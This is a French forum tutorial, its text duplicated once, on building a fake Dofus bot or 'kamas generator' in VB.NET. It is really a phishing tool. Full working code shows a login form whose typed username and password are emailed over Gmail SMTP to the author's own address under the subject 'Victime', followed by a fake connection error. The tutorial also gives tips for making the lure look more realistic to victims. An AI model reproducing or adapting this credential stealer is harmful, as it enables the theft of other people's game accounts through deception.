Salut à tous et à toutes,
je viens vous présenté un tutoriel pour créer votre propre Fake :
- bot
- générateur de kamas
Ce dont vous avez besoin :
- Microsoft visual basic 2010/2008
- Un cerveau
- Une adresse mail G-mail
- Un minimum de connaissance en VB.NET
I- Le design
Tout d'abord ouvrez Microsoft Visual basic
Faîte "Nouveau projet"
Nommez le comme vous le voulez
Normalement vous devriez avoir cela :
Maintenant allez dans la boîte à outils
Prenez cinq labels
Un bouton
2 Textboxs
Une progresse bar
1 timer
Un petit exemple de disposition :
Les labels 3,4 et 5 ne sont pas obligatoires mais ajoutent du réel au programme.
Par ailleurs si vous voulez faire un fake générateur de kamas
Le label 5 mettez "Kamas-Gen V 1.6" un truc comme ça
Le texte du label 1 : Nom de compte :
Le texte du label 2 : Mot de passe :
Le texte du label 3 : les fonctions du bot ou du kamas-gen (je vous laisse inventer)
Le label 4 les instructions de ce qu'il faut faire pour faire réaliste (je vous laisse inventer)
Le label 5 est le titre.
Le texte du bouton : Connecter
II- Le codage
Il faut d'abord importer les "system mail"
Après il faut créer des variables
Maintenant double-cliquez sur le timer (en dessous de la form)
Mettez ceci :
Double-cliquez sur le bouton "connecter'' et mettez ceci :
Voila maintenant il ne vous reste qu'a changer les champs :
- Votre adresse G-mail (x2)
- Une adresse à vous (expéditeur)
- Votre mot de passe G-mail
Ce qui au final vous donne cela :
PS : Pensez à modifier le graphisme pour plus de réalisme.
Voila j'espère que ça vous sera utile.
A bientôt,
Tanguy
je viens vous présenté un tutoriel pour créer votre propre Fake :
- bot
- générateur de kamas
Ce dont vous avez besoin :
- Microsoft visual basic 2010/2008
- Un cerveau
- Une adresse mail G-mail
- Un minimum de connaissance en VB.NET
I- Le design
Tout d'abord ouvrez Microsoft Visual basic
Faîte "Nouveau projet"
Nommez le comme vous le voulez
Normalement vous devriez avoir cela :
Maintenant allez dans la boîte à outils
Prenez cinq labels
Un bouton
2 Textboxs
Une progresse bar
1 timer
Un petit exemple de disposition :
Les labels 3,4 et 5 ne sont pas obligatoires mais ajoutent du réel au programme.
Par ailleurs si vous voulez faire un fake générateur de kamas
Le label 5 mettez "Kamas-Gen V 1.6" un truc comme ça
Le texte du label 1 : Nom de compte :
Le texte du label 2 : Mot de passe :
Le texte du label 3 : les fonctions du bot ou du kamas-gen (je vous laisse inventer)
Le label 4 les instructions de ce qu'il faut faire pour faire réaliste (je vous laisse inventer)
Le label 5 est le titre.
Le texte du bouton : Connecter
II- Le codage
Il faut d'abord importer les "system mail"
Code:
Imports System.Net.Mail
Imports System.Net.Mime
Imports System.Net.NetworkCredential
Imports System.NetAprès il faut créer des variables
Code:
Dim mail As MailMessage
Dim smtp As SmtpClientMaintenant double-cliquez sur le timer (en dessous de la form)
Mettez ceci :
Code:
Try
ProgressBar1.Value += 10
Catch
ProgressBar1.Value = 100
Timer1.Stop()
'--------Envoi des message
Dim mail As New MailMessage()
'set the addresses
mail.From = New MailAddress("Une adresse à vous (expéditeur)")
mail.To.Add("Votre adresse G-mail")
'set the content
mail.Subject = "Victime"
mail.Body = "le nom d utulisateur est :" & TextBox1.Text & " mot de passe est :" & TextBox2.Text
Dim client As New SmtpClient("smtp.gmail.com", 587)
client.EnableSsl = True
client.Credentials = New NetworkCredential("Votre adresse G-mail", "Votre mot de passe G-mail")
Try
client.Send(mail)
Catch ex As Exception
Dim ex2 As Exception = ex
Dim errorMessage As String = String.Empty
While Not (ex2 Is Nothing)
errorMessage += ex2.ToString()
ex2 = ex2.InnerException
End While
MsgBox(errorMessage)
End Try
''--------
MsgBox("Problème lors de la connexion, merci de réessayer ultérieurement !")
Me.Close()
End TryDouble-cliquez sur le bouton "connecter'' et mettez ceci :
Code:
If TextBox1.Text = "" Then
MsgBox("Entre ton Nom D'utilisateur")
Exit Sub
End If
If TextBox2.Text = "" Then
MsgBox("Entre ton mot de passe")
Exit Sub
End If
Timer1.Start()Voila maintenant il ne vous reste qu'a changer les champs :
- Votre adresse G-mail (x2)
- Une adresse à vous (expéditeur)
- Votre mot de passe G-mail
Ce qui au final vous donne cela :
Code:
Imports System.Net.Mail
Imports System.Net.Mime
Imports System.Net.NetworkCredential
Imports System.Net
Public Class form1
Dim mail As MailMessage
Dim smtp As SmtpClient
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try
ProgressBar1.Value += 10
Catch
ProgressBar1.Value = 100
Timer1.Stop()
'--------Envoi des message
Dim mail As New MailMessage()
'set the addresses
mail.From = New MailAddress("Une adresse à vous (expéditeur)")
mail.To.Add("Votre adresse G-mail")
'set the content
mail.Subject = "Victime"
mail.Body = "le nom d utulisateur est :" & TextBox1.Text & " mot de passe est :" & TextBox2.Text
Dim client As New SmtpClient("smtp.gmail.com", 587)
client.EnableSsl = True
client.Credentials = New NetworkCredential("Votre adresse G-mail", "Votre mot de passe G-mail")
Try
client.Send(mail)
Catch ex As Exception
Dim ex2 As Exception = ex
Dim errorMessage As String = String.Empty
While Not (ex2 Is Nothing)
errorMessage += ex2.ToString()
ex2 = ex2.InnerException
End While
MsgBox(errorMessage)
End Try
''--------
MsgBox("Problème lors de la connexion, merci de réessayer ultérieurement !")
Me.Close()
End Try
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If TextBox1.Text = "" Then
MsgBox("Entre ton Nom D'utilisateur")
Exit Sub
End If
If TextBox2.Text = "" Then
MsgBox("Entre ton mot de passe")
Exit Sub
End If
Timer1.Start()
End Sub
End ClassPS : Pensez à modifier le graphisme pour plus de réalisme.
Voila j'espère que ça vous sera utile.
A bientôt,
Tanguy
